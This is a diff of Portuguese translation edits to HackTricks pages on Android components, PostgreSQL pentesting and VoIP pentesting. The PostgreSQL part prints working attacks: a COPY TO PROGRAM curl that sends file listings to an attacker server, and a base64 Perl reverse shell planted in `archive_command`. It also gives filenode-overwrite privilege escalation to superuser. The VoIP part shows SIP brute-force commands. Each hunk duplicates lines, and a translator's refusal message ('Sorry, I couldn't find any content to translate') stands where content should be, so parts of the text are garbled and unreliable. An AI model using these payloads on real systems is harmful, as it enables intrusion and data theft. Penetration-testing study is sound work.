Uma aplicação interessante dos serviços inclui a reprodução de música em segundo plano ou a busca de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, os serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo por meio da **exportação**. Isso não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:
Uma aplicação interessante dos serviços inclui a reprodução de música em segundo plano ou a busca de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, os serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo por meio da **exportação**. Este não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Receptores de Transmissão
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via a API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
**Filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante observar o risco de segurança potencial, pois qualquer aplicativo pode se priorizar para interceptar uma transmissão.
Para entender a funcionalidade de um receptor, procure pelo método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção.
Para entender a funcionalidade de um receptor, procure pelo método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intent recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intent.
### Provedor de Conteúdo
@ -318,7 +318,7 @@ Os **Provedores de Conteúdo** são essenciais para **compartilhar dados estrutu
A validação de entrada é fundamental para evitar vulnerabilidades, como injeção de SQL. Os Provedores de Conteúdo suportam operações básicas: `insert()`, `update()`, `delete()` e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos.
**FileProvider**, um Provedor de Conteúdo especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifesto do aplicativo com atributos específicos para controlar o acesso a pastas, indicadas por `android:exported` e `android:resource` apontando para configurações de pasta. É aconselhável ter cautela ao compartilhar diretórios para evitar expor inadvertidamente dados sensíveis.
**FileProvider**, um Provedor de Conteúdo especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifesto do aplicativo com atributos específicos para controlar o acesso a pastas, indicadas por `android:exported` e `android:resource` apontando para configurações de pasta. É aconselhável ter cautela ao compartilhar diretórios para evitar expor dados sensíveis inadvertidamente.
Exemplo de declaração no manifesto para FileProvider:
```xml
@ -342,9 +342,9 @@ Para mais informações, consulte:
## WebViews
WebViews são como **mini navegadores da web** dentro de aplicativos Android, exibindo conteúdo tanto da web quanto de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
WebViews são como **mini navegadores da web** dentro de aplicativos Android, extraindo conteúdo tanto da web quanto de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
O Android oferece dois principais tipos de WebView:
O Android oferece dois tipos principais de WebView:
- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados.
- **WebChromeClient** atua mais como a experiência completa do navegador Chrome.
@ -355,7 +355,7 @@ Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````
A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews acessem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews alcancem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
Para controlar o acesso a arquivos:
- Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível.
@ -372,7 +372,7 @@ Para controlar o acesso a arquivos:
### **Gerenciamento de Dispositivos Móveis (MDM)**
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a exclusão remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis.
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a limpeza remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);

66
network-services-pentesting/pentesting-postgresql.md
View file

@ -1,10 +1,10 @@
# 5432,5433 - Pentesting Postgresql
# 5432,5433 - Teste de invasão no PostgreSQL
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
@ -15,18 +15,18 @@ Acesse hoje:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Informações Básicas**
**PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **código aberto**. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
O **PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **código aberto**. Esse sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
**Porta padrão:** 5432 e, se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (5433 provavelmente) que não está em uso.
**Porta padrão:** 5432 e, se essa porta já estiver em uso, o PostgreSQL parece usar a próxima porta (5433 provavelmente) que não está em uso.
```
PORT STATE SERVICE
5432/tcp open pgsql
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você está dentro de um **banco de dados PostgreSQL da AWS**.
Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você saberá que está dentro de um **banco de dados PostgreSQL da AWS**.
{% endhint %}
Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira:
@ -113,7 +113,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
Sorry, but I need a specific text to translate. Could you please provide the text you'd like me to translate into Portuguese?
Sorry, I couldn't find any content to translate. Could you please provide the text you'd like me to translate to Portuguese?
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -137,7 +137,7 @@ Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção.
| rolcanlogin | Função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização de sessão inicial |
| rolreplication | Função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação. |
| rolconnlimit | Para funções que podem fazer login, define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
| rolpassword | Não a senha (sempre lida como `********`) |
| rolpassword | Não a senha (sempre lê como `********`) |
| rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
| rolbypassrls | Função ignora todas as políticas de segurança de nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. |
| rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
@ -150,7 +150,7 @@ Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção.
* Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos
{% hint style="info" %}
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são **iguais**. Apenas depende de **como você os usa** e se você **permite o login**.
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são o **mesmo**. Apenas depende de **como você o usa** e se você **permite o login**.
{% endhint %}
```sql
# Get users roles
@ -274,7 +274,7 @@ GRANT pg_read_server_files TO username;
```
Pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Escrita Simples de Arquivo
### Escrita de Arquivo Simples
Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar a cópia para escrever arquivos.
```sql
@ -309,7 +309,7 @@ No entanto, existem **outras técnicas para fazer upload de grandes arquivos bin
### Atualizando dados da tabela PostgreSQL via gravação de arquivo local
Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, você pode atualizar qualquer tabela no servidor **sobrescrevendo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Se você tiver as permissões necessárias para ler e gravar arquivos do servidor PostgreSQL, você pode atualizar qualquer tabela no servidor **sobrescrevendo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Passos necessários:
@ -327,12 +327,12 @@ SELECT pg_relation_filepath('{NOME_DA_TABELA}')
```
Esta consulta deve retornar algo como `base/3/1337`. O caminho completo no disco será `$DATA_DIRECTORY/base/3/1337`, ou seja, `/var/lib/postgresql/13/main/base/3/1337`.
3. Baixar o nó de arquivo por meio das funções `lo_*`
3. Baixar o nó de arquivo através das funções `lo_*`
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Obter o tipo de dados associado à tabela de destino
4. Obter o tipo de dados, associado à tabela de destino
```sql
SELECT
@ -353,17 +353,17 @@ JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{NOME_DA_TABELA}';
```
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o nó de arquivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); definir todas as flags booleanas `rol*` como 1 para permissões completas.
5. Usar o [Editor de Nó de Arquivo do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o nó de arquivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); definir todos os indicadores booleanos `rol*` como 1 para permissões completas.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_DO_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
python3 postgresql_filenode_editor.py -f {NÓ_DE_ARQUIVO} --datatype-csv {DATATYPE_CSV_DO_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![Demonstração do Editor de Filenode do PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Reenviar o nó de arquivo editado por meio das funções `lo_*` e sobrescrever o arquivo original no disco
![Demonstração do Editor de Nó de Arquivo do PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Reenviar o nó de arquivo editado através das funções `lo_*` e sobrescrever o arquivo original no disco
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_from_bytea(13338,decode('{NÓ_DE_ARQUIVO_EDITADO_ENCODED_BASE64}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(Opcionalmente)_ Limpar o cache da tabela em memória executando uma consulta SQL cara
@ -383,7 +383,7 @@ Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), ape
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Exemplo para executar:
Exemplo de execução:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
@ -461,14 +461,14 @@ Ao testar isso, notei que isso só funcionará se o **arquivo de chave privada t
Outro atributo no arquivo de configuração que é explorável é `archive_command`.
Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
Para isso funcionar, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
Os passos gerais são:
1. Verificar se o modo de arquivamento está ativado: `SELECT current_setting('archive_mode')`
2. Sobrescrever `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Recarregar a configuração: `SELECT pg_reload_conf()`
4. Forçar a operação de WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
4. Forçar a operação do WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
#### **RCE com bibliotecas de pré-carregamento**
@ -536,7 +536,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
6. Fazer upload do `postgresql.conf` malicioso, criado nos passos 2-3, e sobrescrever o original
7. Fazer upload do `payload.so` do passo 5 para o diretório `/tmp`
8. Recarregar a configuração do servidor reiniciando o servidor ou invocando a consulta `SELECT pg_reload_conf()`
9. Na próxima conexão do banco de dados, você receberá a conexão do shell reverso.
9. Na próxima conexão do BD, você receberá a conexão do shell reverso.
## **Postgres Privesc**
### Privilégio de CREATEROLE
@ -599,7 +599,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
2. Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice.
3. Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo a execução de comandos não autorizados.
4. ALTERE o proprietário da tabela para "cloudsqladmin," que é a função de superusuário exclusivamente usada pelo Cloud SQL para gerenciar e manter o banco de dados.
5. Execute uma operação ANALYZE na tabela. Essa ação faz com que o mecanismo do PostgreSQL mude para o contexto do usuário do proprietário da tabela, "cloudsqladmin." Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin," permitindo a execução do comando de shell previamente não autorizado.
5. Execute uma operação ANALYZE na tabela. Essa ação faz com que o mecanismo do PostgreSQL mude para o contexto de usuário do proprietário da tabela, "cloudsqladmin." Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin," permitindo assim a execução do comando de shell previamente não autorizado.
No PostgreSQL, esse fluxo se parece com isso:
```sql
@ -703,13 +703,13 @@ E então **executar comandos**:
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### Elevação de Privilégios ao Sobrescrever Tabelas Internas do PostgreSQL
### Elevação de Privilégios Sobrescrevendo Tabelas Internas do PostgreSQL
{% hint style="info" %}
O seguinte vetor de elevação de privilégios é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas
O seguinte vetor de elevação de privilégios é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas.
{% endhint %}
Se você pode **ler e escrever arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** ao sobrescrever o filenode em disco do PostgreSQL, associado à tabela interna `pg_authid`.
Se você pode **ler e escrever arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** sobrescrevendo o filenode em disco do PostgreSQL, associado à tabela interna `pg_authid`.
Saiba mais sobre **essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
@ -719,8 +719,8 @@ Os passos do ataque são:
2. Obter um caminho relativo para o filenode, associado à tabela `pg_authid`
3. Baixar o filenode por meio das funções `lo_*`
4. Obter o tipo de dados, associado à tabela `pg_authid`
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); definir todas as flags booleanas `rol*` como 1 para permissões completas.
6. Reenviar o filenode editado por meio das funções `lo_*`, e sobrescrever o arquivo original no disco
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); definir todos os indicadores booleanos `rol*` como 1 para permissões completas.
6. Reenviar o filenode editado por meio das funções `lo_*` e sobrescrever o arquivo original no disco
7. _(Opcionalmente)_ Limpar o cache da tabela em memória executando uma consulta SQL cara
8. Agora você deve ter os privilégios de um superadministrador completo.
@ -734,7 +734,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### registro
Dentro do arquivo _**postgresql.conf**_ você pode habilitar os logs do postgresql alterando:
Dentro do arquivo _**postgresql.conf**_ você pode habilitar os registros do postgresql alterando:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -743,7 +743,7 @@ sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Então, **reinicie o serviço**.
Em seguida, **reinicie o serviço**.
### pgadmin
@ -758,7 +758,7 @@ string pgadmin4.db
```
### pg\_hba
A autenticação do cliente no PostgreSQL é gerenciada por meio de um arquivo de configuração chamado **pg\_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome do usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponde ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome do usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
A autenticação do cliente no PostgreSQL é gerenciada por meio de um arquivo de configuração chamado **pg\_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome de usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponde ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
Os métodos de autenticação baseados em senha disponíveis no pg\_hba.conf são **md5**, **crypt** e **password**. Esses métodos diferem na forma como a senha é transmitida: MD5-hashed, crypt-encrypted ou texto simples. É importante observar que o método crypt não pode ser usado com senhas que foram criptografadas em pg\_authid.
@ -779,7 +779,7 @@ Outras maneiras de apoiar o HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

84
network-services-pentesting/pentesting-voip/README.md
View file

@ -1,16 +1,16 @@
# Teste de penetração VoIP
# Teste de Penetração VoIP
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -52,7 +52,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
183 Session Progress
199 Early Dialog Terminated
```
**2xx—Respostas bem-sucedidas**
**2xx—Respostas Bem-Sucedidas**
```
200 OK
202 Accepted
@ -142,16 +142,16 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
### Números de Telefone
Um dos primeiros passos que uma Equipe Vermelha poderia fazer é pesquisar números de telefone disponíveis para entrar em contato com a empresa usando ferramentas OSINT, Pesquisas no Google ou raspando as páginas da web.
Um dos primeiros passos que uma Equipe Vermelha poderia fazer é procurar números de telefone disponíveis para entrar em contato com a empresa usando ferramentas OSINT, Pesquisas no Google ou raspando as páginas da web.
Depois de obter os números de telefone, você pode usar serviços online para identificar o operador:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Saber se o operador fornece serviços VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar sua própria PBX VoIP à rede telefônica tradicional.
Saber se o operador fornece serviços VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede telefônica tradicional.
Coisas como respostas automáticas de música geralmente indicam que o VoIP está sendo usado.
@ -265,7 +265,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** é um enumerador de força bruta de nomes de usuário do protocolo Inter Asterisk Exchange. enumIAX pode operar em dois modos distintos; Adivinhação Sequencial de Nomes de Usuário ou Ataque de Dicionário.
* **`enumiax` (`apt install enumiax`): enumIAX** é um **enumerador de força bruta de nomes de usuário** para o protocolo Inter Asterisk Exchange. enumIAX pode operar em dois modos distintos; Adivinhação Sequencial de Nomes de Usuário ou Ataque de Dicionário.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -277,17 +277,17 @@ enumiax -v -m3 -M3 10.10.0.10
Após descobrir o **PBX** e alguns **ramais/nomes de usuário**, uma Equipe Vermelha poderia tentar **autenticar via método `REGISTER`** em um ramal usando um dicionário de senhas comuns para forçar a autenticação.
{% hint style="danger" %}
Note que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e das preferências da organização...
Observe que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e das preferências da organização...
Se o nome de usuário não for o mesmo que o ramal, será necessário **descobrir o nome de usuário para forçar a senha**.
{% endhint %}
* **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): SVCrack permite que você quebre a senha para um nome de usuário/ramal específico em um PBX.
* **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): O SVCrack permite que você quebre a senha para um nome de usuário/ramal específico em um PBX.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS rcrack é um quebrador remoto de senhas para serviços SIP. O Rcrack pode testar senhas para vários usuários em diferentes IPs e faixas de portas.
* **`SIPPTS rcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS rcrack é um quebrador remoto de senhas para serviços SIP. O Rcrack pode testar senhas para vários usuários em diferentes IPs e faixas de portas.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -295,16 +295,16 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
### Intercepção de VoIP
### Sniffing de VoIP
Se encontrar equipamentos VoIP dentro de uma **rede Wifi aberta**, você pode **interceptar todas as informações**. Além disso, se estiver dentro de uma rede mais fechada (conectado via Ethernet ou Wifi protegido), você pode realizar **ataques de MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para interceptar as informações.
